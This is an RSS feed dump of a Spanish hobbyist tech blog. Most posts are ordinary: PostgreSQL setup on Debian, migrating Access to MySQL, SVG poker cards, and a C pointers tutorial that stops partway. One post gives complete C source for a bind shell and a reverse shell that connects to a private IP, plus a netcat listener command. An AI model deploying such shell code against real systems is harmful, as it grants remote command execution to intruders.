pello.info News pello.info News syndication 2010-03-17 03:03:02 es Poker Cards SVG http://www.pello.info/blog/poker-cards-svg http://www.pello.info/blog/poker-cards-svg 1265361877 pello http://www.pello.info/blog/poker-cards-svg SVG poker cards

This is a first version of a set of poker cards in scalar vector graphics format. It's made using Inkscape with scanned figures for the Jacks, Queens and Kings.

Primera versión de una baraja de cartas de poker en dibujo vectorial (svg). Creada con Inkscape y echando mano de unas figuras escaneadas para las J, Q y K.

]]>
SVG poker cards

This is a first version of a set of poker cards in scalar vector graphics format. It's made using Inkscape with scanned figures for the Jacks, Queens and Kings.

Primera versión de una baraja de cartas de poker en dibujo vectorial (svg). Creada con Inkscape y echando mano de unas figuras escaneadas para las J, Q y K.

]]>
http://www.pello.info/blog/poker-cards-svg
This web is under destruction http://www.pello.info/blog/this-web-is-under-destruction_2 http://www.pello.info/blog/this-web-is-under-destruction_2 1262789527 pello http://www.pello.info/blog/this-web-is-under-destruction_2 http://www.pello.info/blog/this-web-is-under-destruction_2 Iniciar postgres 8.3 en debian lenny http://www.pello.info/blog/iniciar-postgres-8-3-en-debian-lenny_2 http://www.pello.info/blog/iniciar-postgres-8-3-en-debian-lenny_2 1244195329 pello http://www.pello.info/blog/iniciar-postgres-8-3-en-debian-lenny_2 Resulta que el postgres no funciona solito en el lenny y hay que hacer algún apaño después del apt-get.

Bueno esta es una solución, la primera parte con una explicación encontrada en internet de la mano de Alvarus, pero no bastaba.

gandalf:~# mkdir -p /var/pgsql
gandalf:~# mkdir -p /var/pgsql/data
gandalf:~# chown postgres /var/pgsql/data

gandalf:~# su - postgres
postgres@gandalf:~$ /usr/lib/postgresql/8.3/bin/initdb -E utf8 -U postgres -D /var/pgsql/data/
Los archivos de este cluster serán de propiedad del usuario «postgres».
Este usuario también debe ser quien ejecute el proceso servidor.
El cluster será inicializado con configuración local es_ES.UTF-8.
La configuración de búsqueda en texto ha sido definida a «spanish».

corrigiendo permisos en el directorio existente /var/pgsql/data ... hecho
creando subdirectorios ... hecho
seleccionando el valor para max_connections ... 100
seleccionando el valor para shared_buffers/max_fsm_pages ... 24MB/153600
creando archivos de configuración ... hecho
creando base de datos template1 en /var/pgsql/data/base/1 ... hecho
inicializando pg_authid ... hecho
inicializando dependencias ... hecho
creando las vistas de sistema ... hecho
cargando las descripciones de los objetos del sistema ... hecho
creando conversiones ... hecho
creando directorios ... hecho
estableciendo privilegios en objetos predefinidos ... hecho
creando el esquema de información ... hecho
haciendo vacuum a la base de datos template1 ... hecho
copiando template1 a template0 ... hecho
copiando template1 a postgres ... hecho

ATENCIÓN: activando autentificación «trust» para conexiones locales.
Puede cambiar esto editando pg_hba.conf o usando el parámetro -A
la próxima vez que ejecute initdb.

Completado. Puede iniciar el servidor de bases de datos usando:

    /usr/lib/postgresql/8.3/bin/postgres -D /var/pgsql/data
o
    /usr/lib/postgresql/8.3/bin/pg_ctl -D /var/pgsql/data -l archivo_de_registro start

postgres@gandalf:~$ 

Con eso no basta, luego hay que inicializar. Inicializar:

postgres@gandalf:~$ /usr/lib/postgresql/8.3/bin/postgres -D /var/pgsql/data
LOG:  el sistema de bases de datos fue apagado en 2009-06-05 09:34:46 CEST
LOG:  lanzador de autovacuum iniciado
LOG:  el sistema de bases de datos está listo para aceptar conexiones

gandalf:~# pg_createcluster 8.3 main
Creating new cluster (configuration: /etc/postgresql/8.3/main, data: /var/lib/postgresql/8.3/main)...
Moving configuration file /var/lib/postgresql/8.3/main/postgresql.conf to /etc/postgresql/8.3/main...
Moving configuration file /var/lib/postgresql/8.3/main/pg_hba.conf to /etc/postgresql/8.3/main...
Moving configuration file /var/lib/postgresql/8.3/main/pg_ident.conf to /etc/postgresql/8.3/main...
Configuring postgresql.conf to use port 5433...

El puerto se inicia en el 5433. Lo podemos cambiar en postgresql.conf. Ahora creamos la BBDD y un usuario especifico.

gandalf:~# su - postgres

postgres@gandalf:~$ psql template1
template1=# CREATE DATABASE nombredb;
template1=# create user nombreusuario with password 'superpassword';
template1=# grant all on database nombredb to nombreusuario;
]]>
Resulta que el postgres no funciona solito en el lenny y hay que hacer algún apaño después del apt-get.

Bueno esta es una solución, la primera parte con una explicación encontrada en internet de la mano de Alvarus, pero no bastaba.

gandalf:~# mkdir -p /var/pgsql
gandalf:~# mkdir -p /var/pgsql/data
gandalf:~# chown postgres /var/pgsql/data

gandalf:~# su - postgres
postgres@gandalf:~$ /usr/lib/postgresql/8.3/bin/initdb -E utf8 -U postgres -D /var/pgsql/data/
Los archivos de este cluster serán de propiedad del usuario «postgres».
Este usuario también debe ser quien ejecute el proceso servidor.
El cluster será inicializado con configuración local es_ES.UTF-8.
La configuración de búsqueda en texto ha sido definida a «spanish».

corrigiendo permisos en el directorio existente /var/pgsql/data ... hecho
creando subdirectorios ... hecho
seleccionando el valor para max_connections ... 100
seleccionando el valor para shared_buffers/max_fsm_pages ... 24MB/153600
creando archivos de configuración ... hecho
creando base de datos template1 en /var/pgsql/data/base/1 ... hecho
inicializando pg_authid ... hecho
inicializando dependencias ... hecho
creando las vistas de sistema ... hecho
cargando las descripciones de los objetos del sistema ... hecho
creando conversiones ... hecho
creando directorios ... hecho
estableciendo privilegios en objetos predefinidos ... hecho
creando el esquema de información ... hecho
haciendo vacuum a la base de datos template1 ... hecho
copiando template1 a template0 ... hecho
copiando template1 a postgres ... hecho

ATENCIÓN: activando autentificación «trust» para conexiones locales.
Puede cambiar esto editando pg_hba.conf o usando el parámetro -A
la próxima vez que ejecute initdb.

Completado. Puede iniciar el servidor de bases de datos usando:

    /usr/lib/postgresql/8.3/bin/postgres -D /var/pgsql/data
o
    /usr/lib/postgresql/8.3/bin/pg_ctl -D /var/pgsql/data -l archivo_de_registro start

postgres@gandalf:~$ 

Con eso no basta, luego hay que inicializar. Inicializar:

postgres@gandalf:~$ /usr/lib/postgresql/8.3/bin/postgres -D /var/pgsql/data
LOG:  el sistema de bases de datos fue apagado en 2009-06-05 09:34:46 CEST
LOG:  lanzador de autovacuum iniciado
LOG:  el sistema de bases de datos está listo para aceptar conexiones

gandalf:~# pg_createcluster 8.3 main
Creating new cluster (configuration: /etc/postgresql/8.3/main, data: /var/lib/postgresql/8.3/main)...
Moving configuration file /var/lib/postgresql/8.3/main/postgresql.conf to /etc/postgresql/8.3/main...
Moving configuration file /var/lib/postgresql/8.3/main/pg_hba.conf to /etc/postgresql/8.3/main...
Moving configuration file /var/lib/postgresql/8.3/main/pg_ident.conf to /etc/postgresql/8.3/main...
Configuring postgresql.conf to use port 5433...

El puerto se inicia en el 5433. Lo podemos cambiar en postgresql.conf. Ahora creamos la BBDD y un usuario especifico.

gandalf:~# su - postgres

postgres@gandalf:~$ psql template1
template1=# CREATE DATABASE nombredb;
template1=# create user nombreusuario with password 'superpassword';
template1=# grant all on database nombredb to nombreusuario;
]]>
http://www.pello.info/blog/iniciar-postgres-8-3-en-debian-lenny_2
Migrar BD access a Mysql http://www.pello.info/blog/migrar-bd-access-a-mysql http://www.pello.info/blog/migrar-bd-access-a-mysql 1241695606 pello http://www.pello.info/blog/migrar-bd-access-a-mysql Supongo que habrá formas mejores de hacerlo o incluso herramientas concretas. El caso es que se pueden pasar las tablas de access a Mysql de forma sencilla de dos maneras

Usando el odbc

Se puede hacer todo desde windows.

  1. Instalamos el appserv que ya trae el apache+mysql+php+phpmyadmin.
  2. Instalamos el ODBC para mysql. 
  3. Creamos una BBDD mysql a través de phpmyadmin
  4. Metemos una entrada en el gestor de odbc para la nueva BBDD mysql.
  5. Abrimos access. Si no muestra las tablas y solo se ven formularios hay que iniciarlo con la tecla mayúsculas apretada: así veremos todos los objetos access (tablas, consultas,...)
  6. Seleccionamos una tabla y vamos a archivo>exportar. Exportamos a un origen odbc, seleccionamos la BBDD mysql y listo. La tabla pasará de access a Mysql

A través de ficheros CSV

El método anterior parece bastante automático pero puede que los acentos no se pasen correctamente. Así que podemos usar otra forma que asegure la presencia de nuestros queridos caracteres.

  1. Desde access exportamos las tablas en formato excel. O directamente a CSV
  2. Creamos una BBDD mysql para meter las tablas.
  3. Con cada tabla en formato CSV, con los campos separados por ; tenemos que importar los datos. Desde la consola de mysql hariamos lo siguiente:

mysql> load data infile '/tmp/tablaexportada.csv' into table nueva_tabla character set UTF8 fields terminated by ';';

En el comando load data podemos decirle el juego de caracteres (UTF8) y así las tildes se verán bien. Probado con access 2003 y mysql5

]]>
Supongo que habrá formas mejores de hacerlo o incluso herramientas concretas. El caso es que se pueden pasar las tablas de access a Mysql de forma sencilla de dos maneras

Usando el odbc

Se puede hacer todo desde windows.

  1. Instalamos el appserv que ya trae el apache+mysql+php+phpmyadmin.
  2. Instalamos el ODBC para mysql. 
  3. Creamos una BBDD mysql a través de phpmyadmin
  4. Metemos una entrada en el gestor de odbc para la nueva BBDD mysql.
  5. Abrimos access. Si no muestra las tablas y solo se ven formularios hay que iniciarlo con la tecla mayúsculas apretada: así veremos todos los objetos access (tablas, consultas,...)
  6. Seleccionamos una tabla y vamos a archivo>exportar. Exportamos a un origen odbc, seleccionamos la BBDD mysql y listo. La tabla pasará de access a Mysql

A través de ficheros CSV

El método anterior parece bastante automático pero puede que los acentos no se pasen correctamente. Así que podemos usar otra forma que asegure la presencia de nuestros queridos caracteres.

  1. Desde access exportamos las tablas en formato excel. O directamente a CSV
  2. Creamos una BBDD mysql para meter las tablas.
  3. Con cada tabla en formato CSV, con los campos separados por ; tenemos que importar los datos. Desde la consola de mysql hariamos lo siguiente:

mysql> load data infile '/tmp/tablaexportada.csv' into table nueva_tabla character set UTF8 fields terminated by ';';

En el comando load data podemos decirle el juego de caracteres (UTF8) y así las tildes se verán bien. Probado con access 2003 y mysql5

]]>
http://www.pello.info/blog/migrar-bd-access-a-mysql
Shell remotos en c http://www.pello.info/blog/shell-remotos-en-c http://www.pello.info/blog/shell-remotos-en-c 1241091190 pello http://www.pello.info/blog/shell-remotos-en-c En linux usando sockets y la llamada dup se puede crear una especie de shell remoto de forma muy sencilla,

 

#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main () {

int sock,canal;
struct sockaddr_in dir_servidor;

dir_servidor.sin_family=2;
dir_servidor.sin_addr.s_addr=0;
dir_servidor.sin_port=0x1337;

sock=socket(2,1,0);

bind(sock,(struct sockaddr *) &dir_servidor,0x10);

listen(sock,1);

canal = accept(sock,0,0);

dup2(canal,0);
dup2(canal,1);

execve("/bin/sh",0,0);

}

Hacer un shell inverso tampoco es complicado, luego basta con usar netcat al otro lado.

/**
* reverseshell.c
* Shell inverso. Se conecta a un socket externo
* y asocia a un shell local.
* Para generar una IP en hexadecimal
*   perl -e 'printf "0x" . "%02x"x4 . "n",249,1,168,192'
* El puerto tb es un número hexadecimal:
*   perl -e 'printf "0x" . "%04x" . "n",14099'
*   darle la vuelta al resultado por pares: 0x3713 pasar a 0x1337
* Para compilar:
* gcc -o reverseshell reverseshell.c
* Para comprobar:
* nc -l -p  14099
*/

#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main () {

int canal;
struct sockaddr_in dir_servidor;

dir_servidor.sin_family=2;
dir_servidor.sin_addr.s_addr=0xf901a8c0;
dir_servidor.sin_port=0x1337;

canal=socket(2,1,6);

connect(canal,(struct sockaddr *) &dir_servidor,0x10);

dup2(canal,0);
dup2(canal,1);

execve("/bin/sh",0,0);

}
]]>
En linux usando sockets y la llamada dup se puede crear una especie de shell remoto de forma muy sencilla,

 

#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main () {

int sock,canal;
struct sockaddr_in dir_servidor;

dir_servidor.sin_family=2;
dir_servidor.sin_addr.s_addr=0;
dir_servidor.sin_port=0x1337;

sock=socket(2,1,0);

bind(sock,(struct sockaddr *) &dir_servidor,0x10);

listen(sock,1);

canal = accept(sock,0,0);

dup2(canal,0);
dup2(canal,1);

execve("/bin/sh",0,0);

}

Hacer un shell inverso tampoco es complicado, luego basta con usar netcat al otro lado.

/**
* reverseshell.c
* Shell inverso. Se conecta a un socket externo
* y asocia a un shell local.
* Para generar una IP en hexadecimal
*   perl -e 'printf "0x" . "%02x"x4 . "n",249,1,168,192'
* El puerto tb es un número hexadecimal:
*   perl -e 'printf "0x" . "%04x" . "n",14099'
*   darle la vuelta al resultado por pares: 0x3713 pasar a 0x1337
* Para compilar:
* gcc -o reverseshell reverseshell.c
* Para comprobar:
* nc -l -p  14099
*/

#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main () {

int canal;
struct sockaddr_in dir_servidor;

dir_servidor.sin_family=2;
dir_servidor.sin_addr.s_addr=0xf901a8c0;
dir_servidor.sin_port=0x1337;

canal=socket(2,1,6);

connect(canal,(struct sockaddr *) &dir_servidor,0x10);

dup2(canal,0);
dup2(canal,1);

execve("/bin/sh",0,0);

}
]]>
http://www.pello.info/blog/shell-remotos-en-c
Punteros y arrays en C http://www.pello.info/blog/punteros-y-arrays-en-c http://www.pello.info/blog/punteros-y-arrays-en-c 1239182305 pello http://www.pello.info/blog/punteros-y-arrays-en-c

Un puntero es una variable que en un lugar de contener un valor
contiene la dirección de una variable. Se pueden crear punteros
a todos los tipos de variables y la
sintaxis de su declaración es casí como la de las
variables normales, salvo que se añade el símbolo *.
Veamos una variable int normal y un puntero llamado p:

int numero;
int *p;

numero = 31337;
p = 666;

Si representamos gráficamente estas variables tipo int
tendríamos algo así:
Puntero

Es decir, así como la variable número es un entero que
contiene un valor concreto (31337), la variable p lo que contiene es un
dirección
de memoria donde reside un valor entero: 666. ¿Podemos hacer
esto?
p = numero;

¡No! pese a que las dos manejan tipos int, son variables
incompatibles: numero es un número entero y p un puntero. Para
asignar el valor de
numero a p debemos hacer lo siguiente:

p = &numero;

Con el símbolo lo que hacemos es asignar la dirección de
memoria de la variable numero, y eso sí es compatible. Pero...
¿qué es lo que ocurre realmente?
¿Se hace una copia de ese valor? No! Con la asignación p
= &numero; estamos haciendo lo siguiente:

puntero

¿Y qué ocurre ahora? Las dos variables hacer referencia a
la misma posición de la memoria, por tanto si hacemos:

*p = 1457;

Ocurrirá que:
puntero

El valor de la variable numero también cambia!
Las posibles operaciones con punteros se pueden resumir en este
pequeño código:

int
numero; /* numero es un entero */

int cifra = 43; /*
cifra es un entero */


numero = 536;

int *p; /* p
no es más que un apuntador a un entero*/


p =
&cifra; /* ahora p apunta al
entero cifra, por tanto p apunta al valor 43 */

numero = *p; /* ahora
numero vale lo que apunta p (a cifra), por tanto numero es 43 */

*p =
3; /*
ahora cifra vale 3 */
++*p;
/* ahora cifra vale 4 */
numero = *p + 5; /* ahora numero vale lo que apunta p
más 5, 9 */
(*p)++;
/* ahora cifra vale 5 */


¿Todavía no te
cuadra? Edita, compila y ejecuta este código, y lo
comprobarás:

#include <stdio.h>

main ()
{
int numero, x;
int *p;

numero = 31337;
p = &x;
*p = 666;

printf("Paso 1: ");
printf("p apunta a: %d, y su valor es: %d ", p, *p);
printf("En que posicion de memoria esta x: %d ", &x);
printf("Valor de numero: %d , y de p: %d ", numero, p);

/* Le asignamos el valor... */
p = &numero;

printf("Paso 2: ");
printf("p apunta a: %d, y su valor es: %d ", p, *p);
printf("En que posicion de memoria esta numero: %d ", &x);
printf("Valor de numero: %d , y de p: %d ", numero, *p);

/* Le cambiamos el valor a p ... */
*p = 1457;

printf("Paso 3: ");
printf("p apunta a: %d, y su valor es: %d ", p, *p);
printf("Valor de numero: %d , y de p: %d ", numero, *p);

}


Al ejecutar ocurre lo siguiente:

C:>puntero
Paso 1:
p apunta a: 2293616, y su valor es: 666
En que posicion de memoria esta x: 2293616
Valor de numero: 31337 , y de p: 2293616

Paso 2:
p apunta a: 2293620, y su valor es: 31337
En que posicion de memoria esta numero: 2293616
Valor de numero: 31337 , y de p: 31337
Paso 3:
p apunta a: 2293620, y su valor es: 1457
Valor de numero: 1457 , y de p: 1457
C:>


Este mecanismo para acceder a un valor o a otra variable tan
característico del lenguaje C nos será de utilidad en
muchas ocasiones aunque
también arrastran mala fama de complicados. No hay que
complicarse la vida, los punteros son para lo que son, para referenciar
a otras variables.
Un error frecuente puede ser este:

int *p = 564;

No podemos asignar un valor a p directamente, porque al principio p no
será nada. Pero entonces, ¿para que queremos punteros
teniedo variables normales?
Esta claro que una de sus utilidades está en el paso de
parámetros a funciones. El ejemplo clásico es el de la
función swap (=intercmbio), una función que intercambia
los valores de dos variables entre si. Su implementación
sería así:

/**
* swap.c
* Implementa dos versiónes de la función swap, una para intercambiar enteros
* y la otra para intercambiar arrays
* Compilacion: gcc -o swap swap.c
* curso de C - instituto cuatrovientos
*/

#include <stdio.h>


void swap(int *px, int *py);


main ()
{
int valor1 = 666;
int valor2 = -34;

printf("Antes: valor1:%d y valor2: %d ", valor1, valor2);
/* Atención, los parametros deben ser las direcciones */
swap(&valor1, &valor2);
printf("Despues: valor1:%d y valor2: %d ", valor1, valor2);

}

/* Implementación de SWAP */
void swap (int *px, int *py)
{
int tmp;

tmp = *px;
*px = *py;
*py = tmp;
}


Hay que fijarse en varios detalles:

  • Esta función tiene que pasar los parámetros por
    referencia: en lugar de pasar valores debe pasar las direcciones de
    memoria. Por tanto se usan punteros.
  • Los parámetros que hemos usado son valor1 y valor2, son
    enteros. Como hay que pasarlos por referencia usamos el símbolo
    &, con lo que la llamada queda así: swap(&valor1,
    &valor2)
  • ¿Qué ocurriría si implementáramos la
    función swap sin punteros? Al terminar la función, los
    valores x,y no se habrían intercambiado

Compila el programa y prueba la función swap.

Arrays

Los arrays o arreglos estan muy vinculados a los punteros. Un array es
una colección de variables de un mismo tipo.
En lenguaje C podemos declarar un array de forma muy fácil, por
ejemplo, un array de 10 número enteros:

int numeros[10];

También podemos inicializar el array al declararlo:

int numeros[10] =
{4,3,6,0,-4,6,3,11,1,4};


Gráficamente el array sería algo así, un cojunto
de bloques consecutivos de variables del mismo tipo:
array

Para acceder a cada uno de los elementos usamos la variable del array
con un indice concreto, pero cuidado! el indice de los arrays siempre
empieza en 0!!! por tanto el array numeros tendrá indices del 0
al 9, y por ejemplo numeros[2] apunta al valor 6.

Podemos definir un array de cualquier cosa, pero siempre hay que
establecerle un tamaño concreto, ya sea de forma explicita o con
una inicilización.

float valores[3] = {0.0, 6.0,
4.5};

char vocales[5] = {'a', 'e',
'i', 'o', 'u'};

int cifras[] = {3,4,5}; /*
Aunque no se especifique tamaño, el compilador lo deduce */

int v[2]; /* Lo
inicializamos más tarde */


v[0] = 34;
v[1] = 666;


Podemos acceder a cualquier elemento del array usando el índice
correspondiente, por ejemplo:

int valor;
valor = numeros[0];
printf("Este es el tercer
elemento del array de numeros: %d ", numeros[2]);


Podemos recorrer el array utilizando la estructura for:

#include <stdio.h>

main ()
{
int numeros[10] = {4,3,6,0,-4,6,3,11,1,4};
int i;

for (i = 0; i < 10; i++)
{
printf("Valor del elemento %d: %d ", i, numeros[i]);
}
}


Si definimos un puntero tipo int, podremos acceder a un array de tipo
int. sin ningún problema. Supongamos este escenario:

int numeros[10] =
{4,3,6,0,-4,6,3,11,1,4};

int *p;
p = &numeros[0];

Se traduciría en lo siguiente:
array
Por tanto el valor de pint sería 4. Pero mucha atención
ahora. ¿Qué ocurre si incrementamos el valor de p?

p = p + 1;
o su equivalente:
*(p++);

En ese caso lo que estamos incrementando en la posición de
memoria a la que apunta pint, no el valor al que apunta.
Por tanto lo que pasaría es esto:
array

¿Curioso no? esa forma de acceder a arrays se usa muy a menudo
al tratar con arrays de caracteres, o dicho de otra forma
al trabajar con cadenas, o dicho de otra manera al trabajar con
strings, o dicho de otra manera al trabajar con palabras.


Cadenas


Una cadena o string, no es sino un array de caracteres, con la
particularidad de que se puede declarar así:
char saludo[4] = "Hola";
char despedida[] = "Adios,
hasta más ver";

char adios[] = "No nos veremos
mas ";


Pero hay que tener en cuenta una cosa muy importante. Al inicializar
una cadena, al final de la misma se añade un caracter especial
que
marca el final del la cadena: ''
Gracias a ese caracter se facilita el trabajo con cadenas, empezando
por el cálculo de su longitud.

Atención, hay que tener mucho cuidado con esto:
char frase[] = "Vamonos ya";
char *otra = "Vamos que nos vamos";

Por que NO son lo mismo, frase[] es un array y otra no es más
que un puntero. Mientras que el contenido de frase se puede modificar, los cambios en la cadena a la que apunta otra pueden
provocar resultados inesperados.


De todas formas, frase[] y *otra son compatibles a la hora de pasarse
como parámetros de funciones; y además, los arrays de
caracteres o cadenas al pasarse como parámetro se pasan por referencia. Por
tanto si se modifica una cadena dentro de una función los cambios permanecerán al volver.

Esta sería una posible implementación de la
función strlen, disponible ya en la librería standar.
Dada una cadena, devuelve su longitud:


#include <stdio.h>

main ()
{
char ejemplo1[] = "Vamos a ver";
char *ejemplo2 = "Vamos a ver";

printf("Longitudes: %d y %d ", strlen1(ejemplo1), strlen1(ejemplo2));
printf("Longitudes: %d y %d ", strlen2(ejemplo1), strlen2(ejemplo2));
printf("Longitudes: %d y %d ", strlen2(""), strlen2("sdd"));
}

int strlen(char *cadena)
{
int i = 0;

/* Mientras no sea el final */
while ( cadena [i] != '')
{
i++;
}

return i;
}


Podriamos hacer un bucle más elegante, sin ninguna
operación dentro. Cuidado! no hay que olvidar el ";", y es muy
importante incrementar
usando i++, es decir, primero tomamos leemos el valor, y luego se
incrementa.

int strlen2(char *cadena)
{
int i = 0;

/* Mientras no sea el final */
while ( cadena [i++] != '')
;

return (i-1);
}


Otra forma interesante de conocer las distintas formas de recorrer una
cadena son estas implementaciones de la controvertida función
strcpy. Esta función
copia una cadena en otra caracter a caracter y esta podría ser
una de sus implementaciones:

/* Copia el contenido de b en a */
int strcpy (char *a, char *b)
{
int i = 0;

/* Hacemos la asignación y a la vez comprobamos si ha llegado al final */
while ( (a[i] = b[i]) != '')
i++;
}


Otra implementación de strcpy podría ser accediendo a los
arrays como si fueran punteros, así los podemos incrementar de
forma directa!!!

/* Copia el contenido de b en a */
int strcpy (char *a, char *b)
{

/* Hacemos la asignación y a la vez comprobamos si ha llegado al final */
while ( (*a = *b) != '')
{
a++;
b++;
}
}


Y otra manera más abreviada aún...


/* Copia el contenido de b en a */
int strcpy (char *a, char *b)
{

/* Hacemos la asignación e incrementamos */
while ( (*a++ = *b++) != '' )
;
}


Incluso podríamos quitar la operación != ''. Prueba y
verás. De todas formas JAMAS utilices esta función en un
programa, si te das cuenta
estas funciones no se toman la molestia de comprobar las longitudes de
las cadenas que copias, y esto puede dar lugar a que revienten tu
código
y puedan ejecutar comandos arbitrarios allá donde funcione el
programa.

Arrays multidimensionales

tipo nombre[filas][columnas];

Los arrays se pueden complicar tanto como haga falta:
int matriz[3][5] = { {3,5,2,4,2} , {0,3,6,2,3} , {2,4,6,3,2} };

Pero ten cuidado, si vas a pasar un array de dos dimensiones como
parámetro de una función, al declarar la función
es obligatorio especificar el tamáno concreto de columnas.


Argumentos de linea de comandos

Cuando ejecutas un programa puedes pasarle argumento o
parámetros desde la linea de comandos, o desde msdos, o desde el
bash de linux.
Para recoger esos valores puedes usar unos parámetros que se
indican en la función principal, la función main:

main (int argc, char *argv[])
{
}

  • argc = es un variable que contiene el número de
    parámetros que se han pasado
  • argv[] = es un array de cadenas que contiene los argumentos en
    si, donde argv[0] es el nombre del programa


Con esta función puedes comprobar el funcionamiento de este
mecanismo:

#include <stdio.h>

main (int argc, char *argv[])
{
int i;

printf("Me has pasado %d argumentos ", argc);
printf("Y el primero es %s ", argv[0]);

/* Vamos a exigir que se pasen al menos 3 argumentos */
if (argc < 4)
{
printf("Error!, debes pasarme 3 argumentos!! ");
return;
}

for (i = 0; i < argc; i++)
printf("Argumento: %d = %s ", i, argv[i]);

}


Un ejemplo de ejecución podría ser:

C:>args primero 666 tercero
Me has pasado 4 argumentos
El nombre del programa es args
Argumento: 0 = args
Argumento: 1 = primero
Argumento: 2 = 666
Argumento: 3 = tercero

C:>



Opcionalmente puedes meter otro argumento, *envp[], para variables de
entorno.

]]>


Un puntero es una variable que en un lugar de contener un valor
contiene la dirección de una variable. Se pueden crear punteros
a todos los tipos de variables y la
sintaxis de su declaración es casí como la de las
variables normales, salvo que se añade el símbolo *.
Veamos una variable int normal y un puntero llamado p:

int numero;
int *p;

numero = 31337;
p = 666;

Si representamos gráficamente estas variables tipo int
tendríamos algo así:
Puntero

Es decir, así como la variable número es un entero que
contiene un valor concreto (31337), la variable p lo que contiene es un
dirección
de memoria donde reside un valor entero: 666. ¿Podemos hacer
esto?
p = numero;

¡No! pese a que las dos manejan tipos int, son variables
incompatibles: numero es un número entero y p un puntero. Para
asignar el valor de
numero a p debemos hacer lo siguiente:

p = &numero;

Con el símbolo lo que hacemos es asignar la dirección de
memoria de la variable numero, y eso sí es compatible. Pero...
¿qué es lo que ocurre realmente?
¿Se hace una copia de ese valor? No! Con la asignación p
= &numero; estamos haciendo lo siguiente:

puntero

¿Y qué ocurre ahora? Las dos variables hacer referencia a
la misma posición de la memoria, por tanto si hacemos:

*p = 1457;

Ocurrirá que:
puntero

El valor de la variable numero también cambia!
Las posibles operaciones con punteros se pueden resumir en este
pequeño código:

int
numero; /* numero es un entero */

int cifra = 43; /*
cifra es un entero */


numero = 536;

int *p; /* p
no es más que un apuntador a un entero*/


p =
&cifra; /* ahora p apunta al
entero cifra, por tanto p apunta al valor 43 */

numero = *p; /* ahora
numero vale lo que apunta p (a cifra), por tanto numero es 43 */

*p =
3; /*
ahora cifra vale 3 */
++*p;
/* ahora cifra vale 4 */
numero = *p + 5; /* ahora numero vale lo que apunta p
más 5, 9 */
(*p)++;
/* ahora cifra vale 5 */


¿Todavía no te
cuadra? Edita, compila y ejecuta este código, y lo
comprobarás:

#include <stdio.h>

main ()
{
int numero, x;
int *p;

numero = 31337;
p = &x;
*p = 666;

printf("Paso 1: ");
printf("p apunta a: %d, y su valor es: %d ", p, *p);
printf("En que posicion de memoria esta x: %d ", &x);
printf("Valor de numero: %d , y de p: %d ", numero, p);

/* Le asignamos el valor... */
p = &numero;

printf("Paso 2: ");
printf("p apunta a: %d, y su valor es: %d ", p, *p);
printf("En que posicion de memoria esta numero: %d ", &x);
printf("Valor de numero: %d , y de p: %d ", numero, *p);

/* Le cambiamos el valor a p ... */
*p = 1457;

printf("Paso 3: ");
printf("p apunta a: %d, y su valor es: %d ", p, *p);
printf("Valor de numero: %d , y de p: %d ", numero, *p);

}


Al ejecutar ocurre lo siguiente:

C:>puntero
Paso 1:
p apunta a: 2293616, y su valor es: 666
En que posicion de memoria esta x: 2293616
Valor de numero: 31337 , y de p: 2293616

Paso 2:
p apunta a: 2293620, y su valor es: 31337
En que posicion de memoria esta numero: 2293616
Valor de numero: 31337 , y de p: 31337
Paso 3:
p apunta a: 2293620, y su valor es: 1457
Valor de numero: 1457 , y de p: 1457
C:>


Este mecanismo para acceder a un valor o a otra variable tan
característico del lenguaje C nos será de utilidad en
muchas ocasiones aunque
también arrastran mala fama de complicados. No hay que
complicarse la vida, los punteros son para lo que son, para referenciar
a otras variables.
Un error frecuente puede ser este:

int *p = 564;

No podemos asignar un valor a p directamente, porque al principio p no
será nada. Pero entonces, ¿para que queremos punteros
teniedo variables normales?
Esta claro que una de sus utilidades está en el paso de
parámetros a funciones. El ejemplo clásico es el de la
función swap (=intercmbio), una función que intercambia
los valores de dos variables entre si. Su implementación
sería así:

/**
* swap.c
* Implementa dos versiónes de la función swap, una para intercambiar enteros
* y la otra para intercambiar arrays
* Compilacion: gcc -o swap swap.c
* curso de C - instituto cuatrovientos
*/

#include <stdio.h>


void swap(int *px, int *py);


main ()
{
int valor1 = 666;
int valor2 = -34;

printf("Antes: valor1:%d y valor2: %d ", valor1, valor2);
/* Atención, los parametros deben ser las direcciones */
swap(&valor1, &valor2);
printf("Despues: valor1:%d y valor2: %d ", valor1, valor2);

}

/* Implementación de SWAP */
void swap (int *px, int *py)
{
int tmp;

tmp = *px;
*px = *py;
*py = tmp;
}


Hay que fijarse en varios detalles:

  • Esta función tiene que pasar los parámetros por
    referencia: en lugar de pasar valores debe pasar las direcciones de
    memoria. Por tanto se usan punteros.
  • Los parámetros que hemos usado son valor1 y valor2, son
    enteros. Como hay que pasarlos por referencia usamos el símbolo
    &, con lo que la llamada queda así: swap(&valor1,
    &valor2)
  • ¿Qué ocurriría si implementáramos la
    función swap sin punteros? Al terminar la función, los
    valores x,y no se habrían intercambiado

Compila el programa y prueba la función swap.

Arrays

Los arrays o arreglos estan muy vinculados a los punteros. Un array es
una colección de variables de un mismo tipo.
En lenguaje C podemos declarar un array de forma muy fácil, por
ejemplo, un array de 10 número enteros:

int numeros[10];

También podemos inicializar el array al declararlo:

int numeros[10] =
{4,3,6,0,-4,6,3,11,1,4};


Gráficamente el array sería algo así, un cojunto
de bloques consecutivos de variables del mismo tipo:
array

Para acceder a cada uno de los elementos usamos la variable del array
con un indice concreto, pero cuidado! el indice de los arrays siempre
empieza en 0!!! por tanto el array numeros tendrá indices del 0
al 9, y por ejemplo numeros[2] apunta al valor 6.

Podemos definir un array de cualquier cosa, pero siempre hay que
establecerle un tamaño concreto, ya sea de forma explicita o con
una inicilización.

float valores[3] = {0.0, 6.0,
4.5};

char vocales[5] = {'a', 'e',
'i', 'o', 'u'};

int cifras[] = {3,4,5}; /*
Aunque no se especifique tamaño, el compilador lo deduce */

int v[2]; /* Lo
inicializamos más tarde */


v[0] = 34;
v[1] = 666;


Podemos acceder a cualquier elemento del array usando el índice
correspondiente, por ejemplo:

int valor;
valor = numeros[0];
printf("Este es el tercer
elemento del array de numeros: %d ", numeros[2]);


Podemos recorrer el array utilizando la estructura for:

#include <stdio.h>

main ()
{
int numeros[10] = {4,3,6,0,-4,6,3,11,1,4};
int i;

for (i = 0; i < 10; i++)
{
printf("Valor del elemento %d: %d ", i, numeros[i]);
}
}


Si definimos un puntero tipo int, podremos acceder a un array de tipo
int. sin ningún problema. Supongamos este escenario:

int numeros[10] =
